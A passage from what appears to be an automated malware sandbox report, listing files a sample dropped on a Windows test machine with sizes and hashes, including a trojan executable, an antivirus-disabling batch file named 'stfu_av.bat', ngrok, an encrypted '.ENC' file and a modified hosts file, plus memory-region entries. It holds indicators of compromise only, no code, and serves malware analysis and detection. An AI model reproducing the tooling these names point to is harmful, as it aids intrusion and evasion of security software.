                                                                                                                                                          1B

                                                                                                                                                          MD5

                                                                                                                                                          5058f1af8388633f609cadb75a75dc9d

                                                                                                                                                          SHA1

                                                                                                                                                          3a52ce780950d4d969792a2559cd519d7ee8c727

                                                                                                                                                          SHA256

                                                                                                                                                          cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

                                                                                                                                                          SHA512

                                                                                                                                                          0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\data_reduction_proxy_leveldb\CURRENT
                                                                                                                                                          Filesize

                                                                                                                                                          16B

                                                                                                                                                          MD5

                                                                                                                                                          206702161f94c5cd39fadd03f4014d98

                                                                                                                                                          SHA1

                                                                                                                                                          bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                                                                                                                                          SHA256

                                                                                                                                                          1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                                                                                                                                          SHA512

                                                                                                                                                          0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\shared_proto_db\metadata\CURRENT
                                                                                                                                                          Filesize

                                                                                                                                                          16B

                                                                                                                                                          MD5

                                                                                                                                                          46295cac801e5d4857d09837238a6394

                                                                                                                                                          SHA1

                                                                                                                                                          44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                                                                                                                          SHA256

                                                                                                                                                          0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                                                                                                                          SHA512

                                                                                                                                                          8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\shared_proto_db\metadata\MANIFEST-000001
                                                                                                                                                          Filesize

                                                                                                                                                          41B

                                                                                                                                                          MD5

                                                                                                                                                          5af87dfd673ba2115e2fcf5cfdb727ab

                                                                                                                                                          SHA1

                                                                                                                                                          d5b5bbf396dc291274584ef71f444f420b6056f1

                                                                                                                                                          SHA256

                                                                                                                                                          f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

                                                                                                                                                          SHA512

                                                                                                                                                          de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Last Version
                                                                                                                                                          Filesize

                                                                                                                                                          11B

                                                                                                                                                          MD5

                                                                                                                                                          838a7b32aefb618130392bc7d006aa2e

                                                                                                                                                          SHA1

                                                                                                                                                          5159e0f18c9e68f0e75e2239875aa994847b8290

                                                                                                                                                          SHA256

                                                                                                                                                          ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

                                                                                                                                                          SHA512

                                                                                                                                                          9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Local State
                                                                                                                                                          Filesize

                                                                                                                                                          8KB

                                                                                                                                                          MD5

                                                                                                                                                          718f10fcd68ca5a5f40880717f80e216

                                                                                                                                                          SHA1

                                                                                                                                                          eaa817674f0add6e842d780047f24272b71f70e4

                                                                                                                                                          SHA256

                                                                                                                                                          c6bbd94df2944409a4d0f8f33a84d99cd9ec1fbb0e2cabbc2ac33e5242327be9

                                                                                                                                                          SHA512

                                                                                                                                                          127e175b8d6feefdffeea95b17a381644ad43daf89bafa6264ada7277ac09a6bfd4c8dad2773397c7a8eb83103655ac3a6cfc1198ba92b65a2484164a2c91c3b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\SmartScreen\local\cache
                                                                                                                                                          Filesize

                                                                                                                                                          184B

                                                                                                                                                          MD5

                                                                                                                                                          24127606dac5cc6142848b0387a3afb6

                                                                                                                                                          SHA1

                                                                                                                                                          2dd825cba2ded5f73de2f70d3056764788d6b3cd

                                                                                                                                                          SHA256

                                                                                                                                                          7680b8117dce679eaf37a1c4670506fda78781cfcd994295b5108db18fbbc3a8

                                                                                                                                                          SHA512

                                                                                                                                                          0c37b62b580255716371554cd47a1d7aa15a92b5376ff66d42cacf1e2fd95c027e7f8781231c4b0d9ccc17521a94f1e719cfd2307853d6d7d72dd8155ba6868b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\SmartScreen\local\warnStateCache
                                                                                                                                                          Filesize

                                                                                                                                                          72B

                                                                                                                                                          MD5

                                                                                                                                                          3f66f244278461dd07a3feb77a17712f

                                                                                                                                                          SHA1

                                                                                                                                                          8d570b550699ad0f248ec98b5d678f54248c0a84

                                                                                                                                                          SHA256

                                                                                                                                                          203ce5c7c1680c6e98f5ceca920e9d904122a9e26a743191e9b0fe1f6584ed60

                                                                                                                                                          SHA512

                                                                                                                                                          8d4733222e2e0bbc18370055d0602d0389e7a562887e97b2e54073017ffea024e9b1341ed95e28883861ef5e0d4fa9d27ed0894912ffe167632aed2e4cf53e7d

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                          Filesize

                                                                                                                                                          5KB

                                                                                                                                                          MD5

                                                                                                                                                          aa044d9152b78ebf5d1e3e1eda0a1b6e

                                                                                                                                                          SHA1

                                                                                                                                                          913b86e0981295723223e70533b0c72bc1a8d38a

                                                                                                                                                          SHA256

                                                                                                                                                          5a79a36b6b5fb7a4afd6d177970a5752301ba35e3b0a5efeecd5328828e47006

                                                                                                                                                          SHA512

                                                                                                                                                          ce5255fcdcac0759fd232eacb726b25073ca1b89ca35a28bd43bf604deac93d7d5d9a5641e44be4ae5256b896a82eaecaac9848f9ff0abbc150257951bc3a31d

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                          Filesize

                                                                                                                                                          6KB

                                                                                                                                                          MD5

                                                                                                                                                          eeddddabf50f4339b4ef81a35228e3ad

                                                                                                                                                          SHA1

                                                                                                                                                          014f0e0ee6b2ceae3f86a08e2fa6aaadaf8cfd52

                                                                                                                                                          SHA256

                                                                                                                                                          344e43e349c8102c9ddf065aca5fa05a03c7d50be9777089d0835a5ff44856b6

                                                                                                                                                          SHA512

                                                                                                                                                          6b481356ecf1fde0d77a998da6d19097864f70f0df851f948205c1390ed7b00facffde7b2b91bb3d842d560b6607877feb70bd137037781ab51d64284916401a

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                          Filesize

                                                                                                                                                          10KB

                                                                                                                                                          MD5

                                                                                                                                                          cc9dc73b0302e77bcf74653ad38aa4da

                                                                                                                                                          SHA1

                                                                                                                                                          c11df3d5a5a0866ffedb604d31632153177101c4

                                                                                                                                                          SHA256

                                                                                                                                                          5290ade362a33db19db11df39a9e05ad8a348d4a8ffff0a2d933e6d838672384

                                                                                                                                                          SHA512

                                                                                                                                                          75493a9a82886e98786ac1e3415322d83895d909b301e8d3c238c0d52fb4c1d37889c77965fad71333cc210041acdc0e240dc6f0f165d5aab0b00a1b5ba0f85b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                                                                                                                                          Filesize

                                                                                                                                                          896KB

                                                                                                                                                          MD5

                                                                                                                                                          efcecc4b84b151de3e5ee76b59974f4f

                                                                                                                                                          SHA1

                                                                                                                                                          0366a76f40def88649bcf1360865fd1ee041fd74

                                                                                                                                                          SHA256

                                                                                                                                                          fbba57e5b1c2f84f1c415f307e8301815a69812f80688e4a38e6732742c5ae66

                                                                                                                                                          SHA512

                                                                                                                                                          6194338cdd2b9ce9f38118b2bf82958413b8b0b01166e2730afcd36ac9bc0a7752dfe767e2dc94e4a2ac2a5c630e77db5d1da2d3b92e4ca0e54ddeacfbaf0b8c

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
                                                                                                                                                          Filesize

                                                                                                                                                          9KB

                                                                                                                                                          MD5

                                                                                                                                                          7050d5ae8acfbe560fa11073fef8185d

                                                                                                                                                          SHA1

                                                                                                                                                          5bc38e77ff06785fe0aec5a345c4ccd15752560e

                                                                                                                                                          SHA256

                                                                                                                                                          cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

                                                                                                                                                          SHA512

                                                                                                                                                          a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          193da9cb8d0be7847ce2b45366b53316

                                                                                                                                                          SHA1

                                                                                                                                                          60e76e7eb82dada5867415857690c212b79e66ac

                                                                                                                                                          SHA256

                                                                                                                                                          0eb4aecb894873b0bd5dc51b20cee93ac8b0e4d8c806931f26397c670232a0f7

                                                                                                                                                          SHA512

                                                                                                                                                          31844183aecba13ad82bbbe35c5b3a86709faed92aeb0b62f53acedb3cef829cdc8faf384b584cfae8aa7c00ae52b64baaa8c6a061b113ef61866f931d43441a

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          10890cda4b6eab618e926c4118ab0647

                                                                                                                                                          SHA1

                                                                                                                                                          1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

                                                                                                                                                          SHA256

                                                                                                                                                          00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

                                                                                                                                                          SHA512

                                                                                                                                                          a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          5cfe303e798d1cc6c1dab341e7265c15

                                                                                                                                                          SHA1

                                                                                                                                                          cd2834e05191a24e28a100f3f8114d5a7708dc7c

                                                                                                                                                          SHA256

                                                                                                                                                          c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab

                                                                                                                                                          SHA512

                                                                                                                                                          ef151bbe0033a2caf2d40aff74855a3f42c8171e05a11c8ce93c7039d9430482c43fe93d9164ee94839aff253cad774dbf619dde9a8af38773ca66d59ac3400e

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          bbc2b43d5e574fe7d193c6fc0eb7302c

                                                                                                                                                          SHA1

                                                                                                                                                          f22683b94ad593fd0513fef37df1fb5d0880cc22

                                                                                                                                                          SHA256

                                                                                                                                                          0efa2469ae0b02af024fd0e2828ccab085eaefef3736b3bda0ba631e3a45aa48

                                                                                                                                                          SHA512

                                                                                                                                                          287449b168297a5176b26777f2f5ca3284d967b93274db8b3029d130049073560a10e418607f670d08194193aa91fc9cd174717e7c1d051b09c23857fe3ab9d2

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          ba169f4dcbbf147fe78ef0061a95e83b

                                                                                                                                                          SHA1

                                                                                                                                                          92a571a6eef49fff666e0f62a3545bcd1cdcda67

                                                                                                                                                          SHA256

                                                                                                                                                          5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

                                                                                                                                                          SHA512

                                                                                                                                                          8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          aeceee3981c528bdc5e1c635b65d223d

                                                                                                                                                          SHA1

                                                                                                                                                          de9939ed37edca6772f5cdd29f6a973b36b7d31b

                                                                                                                                                          SHA256

                                                                                                                                                          b99f3c778a047e0348c92c16e0419fa29418d10d0fec61ad8283e92a094a2b32

                                                                                                                                                          SHA512

                                                                                                                                                          df48285f38e9284efdbd9f8d99e2e94a46fb5465953421ab88497b73ae06895b98ea5c98796560810a6f342c31a9112ea87e03cd3e267fd8518d7585f492a8fb

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          1KB

                                                                                                                                                          MD5

                                                                                                                                                          0deb7b5b6d4b2de3e0af58cfd67bf755

                                                                                                                                                          SHA1

                                                                                                                                                          b77aef9c5ce72051d7d7be812e3e8280439796d5

                                                                                                                                                          SHA256

                                                                                                                                                          25c41447881a350850c5ee382c18698d93d8f39049e9ad112d3ccea1e9dc0a33

                                                                                                                                                          SHA512

                                                                                                                                                          708ad3673ffdbedf1cd6cf08deee2726ae3c2d58b3161e7b50650337f59e5bec0f2c89f581a19f3bcc1e732fa193ab89146a0897d90a592b30376fd5400ce094

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                          Filesize

                                                                                                                                                          944B

                                                                                                                                                          MD5

                                                                                                                                                          2e907f77659a6601fcc408274894da2e

                                                                                                                                                          SHA1

                                                                                                                                                          9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                                                                                                                                                          SHA256

                                                                                                                                                          385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                                                                                                                                                          SHA512

                                                                                                                                                          34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{2F519BF2-C697-59F8-8F6A-1E19509CE66B}
                                                                                                                                                          Filesize

                                                                                                                                                          36KB

                                                                                                                                                          MD5

                                                                                                                                                          8aaad0f4eb7d3c65f81c6e6b496ba889

                                                                                                                                                          SHA1

                                                                                                                                                          231237a501b9433c292991e4ec200b25c1589050

                                                                                                                                                          SHA256

                                                                                                                                                          813c66ce7dec4cff9c55fb6f809eab909421e37f69ff30e4acaa502365a32bd1

                                                                                                                                                          SHA512

                                                                                                                                                          1a83ce732dc47853bf6e8f4249054f41b0dea8505cda73433b37dfa16114f27bfed3b4b3ba580aa9d53c3dcc8d48bf571a45f7c0468e6a0f2a227a7e59e17d62

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_charmap_exe
                                                                                                                                                          Filesize

                                                                                                                                                          36KB

                                                                                                                                                          MD5

                                                                                                                                                          406347732c383e23c3b1af590a47bccd

                                                                                                                                                          SHA1

                                                                                                                                                          fae764f62a396f2503dd81eefd3c7f06a5fb8e5f

                                                                                                                                                          SHA256

                                                                                                                                                          e0a9f5c75706dc79a44d0c890c841b2b0b25af4ee60d0a16a7356b067210038e

                                                                                                                                                          SHA512

                                                                                                                                                          18905eaad8184bb3a7b0fe21ff37ed2ee72a3bd24bb90cbfcad222cf09e2fa74e886d5c687b21d81cd3aec1e6c05891c24f67a8f82bafd2aceb0e0dcb7672ce7

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133772920392524403.txt
                                                                                                                                                          Filesize

                                                                                                                                                          80KB

                                                                                                                                                          MD5

                                                                                                                                                          8d8d69839af674b0a8ee53ff09386801

                                                                                                                                                          SHA1

                                                                                                                                                          1240eab80fc2b783da77cb8db83da93880bb9c12

                                                                                                                                                          SHA256

                                                                                                                                                          66682c9bd5f96f4e3659631e3eb496c74c0ceea9da4cb473f1ad24a0c9045d44

                                                                                                                                                          SHA512

                                                                                                                                                          e9592810c6a452ea31474183a7669fa4dcbb6e64b35ea91fd29f62c20ee78bd3730a5c46714e736592a906a9abc8ec451b725b55b0379d3f2cda0ca3dcd7552e

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\9a0336eb-215c-42f3-9cf9-9f428cb6b62f.bat
                                                                                                                                                          Filesize

                                                                                                                                                          152B

                                                                                                                                                          MD5

                                                                                                                                                          5682980f395680f8703553081fb47f59

                                                                                                                                                          SHA1

                                                                                                                                                          3bbc98d5dfc2ea4cf1540297c8f5bf432fc9070f

                                                                                                                                                          SHA256

                                                                                                                                                          729615d89d533894fdd1d429064d7dfb4d0f6233a369be24f72ee99c09545233

                                                                                                                                                          SHA512

                                                                                                                                                          61bed7533eb8984d6cc32415dcf37ecd06e0fa6214b33ae0bbc157a8a36d6a7783970e0d8160ef4c4d1d6f82f5f57df3654e38c40650ef10e33bc8d2f97d428c

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.23.exe
                                                                                                                                                          Filesize

                                                                                                                                                          800KB

                                                                                                                                                          MD5

                                                                                                                                                          02c70d9d6696950c198db93b7f6a835e

                                                                                                                                                          SHA1

                                                                                                                                                          30231a467a49cc37768eea0f55f4bea1cbfb48e2

                                                                                                                                                          SHA256

                                                                                                                                                          8f2e28588f2303bd8d7a9b0c3ff6a9cb16fa93f8ddc9c5e0666a8c12d6880ee3

                                                                                                                                                          SHA512

                                                                                                                                                          431d9b9918553bff4f4a5bc2a5e7b7015f8ad0e2d390bb4d5264d08983372424156524ef5587b24b67d1226856fc630aaca08edc8113097e0094501b4f08efeb

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Temp1_zrfwia.zip\HMSTR_Trj [GEN].exe
                                                                                                                                                          Filesize

                                                                                                                                                          4.3MB

                                                                                                                                                          MD5

                                                                                                                                                          e7a43e374c85e7d58b42067bc8232a38

                                                                                                                                                          SHA1

                                                                                                                                                          7c9fb7a08a3dddd74655428cd57d4fb13e31c628

                                                                                                                                                          SHA256

                                                                                                                                                          8595aa407b2ffdedd6e9322a6bb70d8f0894c0cc2f40fb2d9ca8f192d638cd9e

                                                                                                                                                          SHA512

                                                                                                                                                          85a069f79cc73d42e0a35066393b667dbb88d6e348a14709feba38da3feb4f2b2be0684a03b25169b9a97d94c04a6392ea8bbf950a86b8b301246711676decde

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gudnjbbz.aws.ps1
                                                                                                                                                          Filesize

                                                                                                                                                          60B

                                                                                                                                                          MD5

                                                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                          SHA1

                                                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                          SHA256

                                                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                          SHA512

                                                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                                                                                                                                                          Filesize

                                                                                                                                                          16.4MB

                                                                                                                                                          MD5

                                                                                                                                                          ee2397b5f70e81dd97a4076ba1cb1d3a

                                                                                                                                                          SHA1

                                                                                                                                                          8350f648ebd269b4bca720b4143dd3edcdfafa8f

                                                                                                                                                          SHA256

                                                                                                                                                          b5b1454e2e3a66edf3bde92b29a4f4b324fa3c3d88dc28e378c22cb42237cc67

                                                                                                                                                          SHA512

                                                                                                                                                          57fc76393881c504ac4c37a8ea812a7e21f2bed4ffa4de42a2e6e4558a78bba679ec0f8fcdc39798306c3a97e424fb875680b7f78ac07be3f7f58df093575562

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi
                                                                                                                                                          Filesize

                                                                                                                                                          30.1MB

                                                                                                                                                          MD5

                                                                                                                                                          0e4e9aa41d24221b29b19ba96c1a64d0

                                                                                                                                                          SHA1

                                                                                                                                                          231ade3d5a586c0eb4441c8dbfe9007dc26b2872

                                                                                                                                                          SHA256

                                                                                                                                                          5bfb6f3ab89e198539408f7e0e8ec0b0bd5efe8898573ec05b381228efb45a5d

                                                                                                                                                          SHA512

                                                                                                                                                          e6f27aecead72dffecbeaad46ebdf4b1fd3dbcddd1f6076ba183b654e4e32d30f7af1236bf2e04459186e993356fe2041840671be73612c8afed985c2c608913

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\stfu_av.bat
                                                                                                                                                          Filesize

                                                                                                                                                          3KB

                                                                                                                                                          MD5

                                                                                                                                                          9b5f23546b48a9dbee64e1de6d0100e7

                                                                                                                                                          SHA1

                                                                                                                                                          7bfe62dd66c591145a3339a7aec2c87ef5155751

                                                                                                                                                          SHA256

                                                                                                                                                          6af22a4ad4df0a0b345e82c6edc5afd5d3883c3804cca859290480ef65f05c20

                                                                                                                                                          SHA512

                                                                                                                                                          1572856c3c0d2a6ee505569b270971a174394f9f7691650d4a44cff9cda4d597c3959c528605aae619a02a58f1307b71e3d7a3edef705b02ae37db4862bf8b70

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\tmpA1F8.tmp.dat
                                                                                                                                                          Filesize

                                                                                                                                                          116KB

                                                                                                                                                          MD5

                                                                                                                                                          f70aa3fa04f0536280f872ad17973c3d

                                                                                                                                                          SHA1

                                                                                                                                                          50a7b889329a92de1b272d0ecf5fce87395d3123

                                                                                                                                                          SHA256

                                                                                                                                                          8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

                                                                                                                                                          SHA512

                                                                                                                                                          30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\AppData\Local\XStill.exe
                                                                                                                                                          Filesize

                                                                                                                                                          3.6MB

                                                                                                                                                          MD5

                                                                                                                                                          28b5e10cd83106b824b402507bc45b31

                                                                                                                                                          SHA1

                                                                                                                                                          b2c9c889875581fdcaa948e5dc8ef2d1c2ba2f22

                                                                                                                                                          SHA256

                                                                                                                                                          a605b0fb1e673873a91ddb521ee8aec36b9637e3f29b30671475c483d0e71aaa

                                                                                                                                                          SHA512

                                                                                                                                                          5d82228c158ccef220297f056012f2be3ab64dcf24940bff3bde5b7cf3d259f8fb627f56df321233635beb8ac541c4c30667aec5795e6d7f5dc387a5710d85ef

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Users\Admin\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC
                                                                                                                                                          Filesize

                                                                                                                                                          16B

                                                                                                                                                          MD5

                                                                                                                                                          db11d0f1cfa068b6e9e446ad575e19a5

                                                                                                                                                          SHA1

                                                                                                                                                          2a231b1b0e2d96e3df3a48d5f1578f0af6444c21

                                                                                                                                                          SHA256

                                                                                                                                                          46ca0aaa44cee88be393eb445e970f9849ded8fb99b4f8cf707e12358ff2eaa8

                                                                                                                                                          SHA512

                                                                                                                                                          e59c233fc47a44c9303c90a427cdf645348eb74c62e64284dad01665289c01f90cd7677c9b101f0855329cd7d29547a0443d253a6effdb1393fcb24f1549e14b

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Windows\Installer\MSIEE77.tmp
                                                                                                                                                          Filesize

                                                                                                                                                          122KB

                                                                                                                                                          MD5

                                                                                                                                                          9fe9b0ecaea0324ad99036a91db03ebb

                                                                                                                                                          SHA1

                                                                                                                                                          144068c64ec06fc08eadfcca0a014a44b95bb908

                                                                                                                                                          SHA256

                                                                                                                                                          e2cce64916e405976a1d0c522b44527d12b1cba19de25da62121cf5f41d184c9

                                                                                                                                                          SHA512

                                                                                                                                                          906641a73d69a841218ae90b83714a05af3537eec8ad1d761f58ac365cf005bdd74ad88f71c4437aaa126ac74fa46bcad424d17c746ab197eec2caa1bd838176

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Windows\Installer\MSIEED6.tmp
                                                                                                                                                          Filesize

                                                                                                                                                          211KB

                                                                                                                                                          MD5

                                                                                                                                                          a3ae5d86ecf38db9427359ea37a5f646

                                                                                                                                                          SHA1

                                                                                                                                                          eb4cb5ff520717038adadcc5e1ef8f7c24b27a90

                                                                                                                                                          SHA256

                                                                                                                                                          c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74

                                                                                                                                                          SHA512

                                                                                                                                                          96ecb3bc00848eeb2836e289ef7b7b2607d30790ffd1ae0e0acfc2e14f26a991c6e728b8dc67280426e478c70231f9e13f514e52c8ce7d956c1fad0e322d98e0

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Windows\Installer\MSIF706.tmp
                                                                                                                                                          Filesize

                                                                                                                                                          297KB

                                                                                                                                                          MD5

                                                                                                                                                          7a86ce1a899262dd3c1df656bff3fb2c

                                                                                                                                                          SHA1

                                                                                                                                                          33dcbe66c0dc0a16bab852ed0a6ef71c2d9e0541

                                                                                                                                                          SHA256

                                                                                                                                                          b8f2d0909d7c2934285a8be010d37c0609c7854a36562cbfcbce547f4f4c7b0c

                                                                                                                                                          SHA512

                                                                                                                                                          421e8195c47381de4b3125ab6719eec9be7acd2c97ce9247f4b70a309d32377917c9686b245864e914448fe53df2694d5ee5f327838d029989ba7acafda302ec

                                                                                                                                                          Download Submit

                                                                                                                                                        • C:\Windows\system32\drivers\etc\hosts
                                                                                                                                                          Filesize

                                                                                                                                                          3KB

                                                                                                                                                          MD5

                                                                                                                                                          1185dbe0b32a5ef78f2cb43c095efe60

                                                                                                                                                          SHA1

                                                                                                                                                          c45ddba13c9c4df3851fd22424cd420840501746

                                                                                                                                                          SHA256

                                                                                                                                                          bb38c710a822fe3e77d641c76a4507822c59f94b6c880a409889b38cc7da23d0

                                                                                                                                                          SHA512

                                                                                                                                                          b510f45acd8bf20555741c8a76c148cb281201b8ee2f9fcac06a20ea684dc4a32f9a1192c999496a7893552a7c9988059b7cda5919d2eded69d26f1b692ed77a

                                                                                                                                                          Download Submit

                                                                                                                                                        • memory/636-4353-0x0000000000400000-0x0000000000454000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          336KB

                                                                                                                                                          Download

                                                                                                                                                        • memory/1128-3033-0x0000000005C60000-0x0000000006204000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          5.6MB

                                                                                                                                                          Download

                                                                                                                                                        • memory/1128-3034-0x0000000005890000-0x00000000058F6000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          408KB

                                                                                                                                                          Download

                                                                                                                                                        • memory/1128-3032-0x0000000005610000-0x00000000056AC000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          624KB

                                                                                                                                                          Download

                                                                                                                                                        • memory/1128-3031-0x0000000005570000-0x0000000005602000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          584KB

                                                                                                                                                          Download

                                                                                                                                                        • memory/1128-3030-0x0000000000400000-0x0000000000410000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          64KB

                                                                                                                                                          Download

                                                                                                                                                        • memory/2208-4247-0x0000000140000000-0x000000014000D000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          52KB

                                                                                                                                                          Download

                                                                                                                                                        • memory/2208-4249-0x0000000140000000-0x000000014000D000-memory.dmp

                                                                                                                                                          Filesize

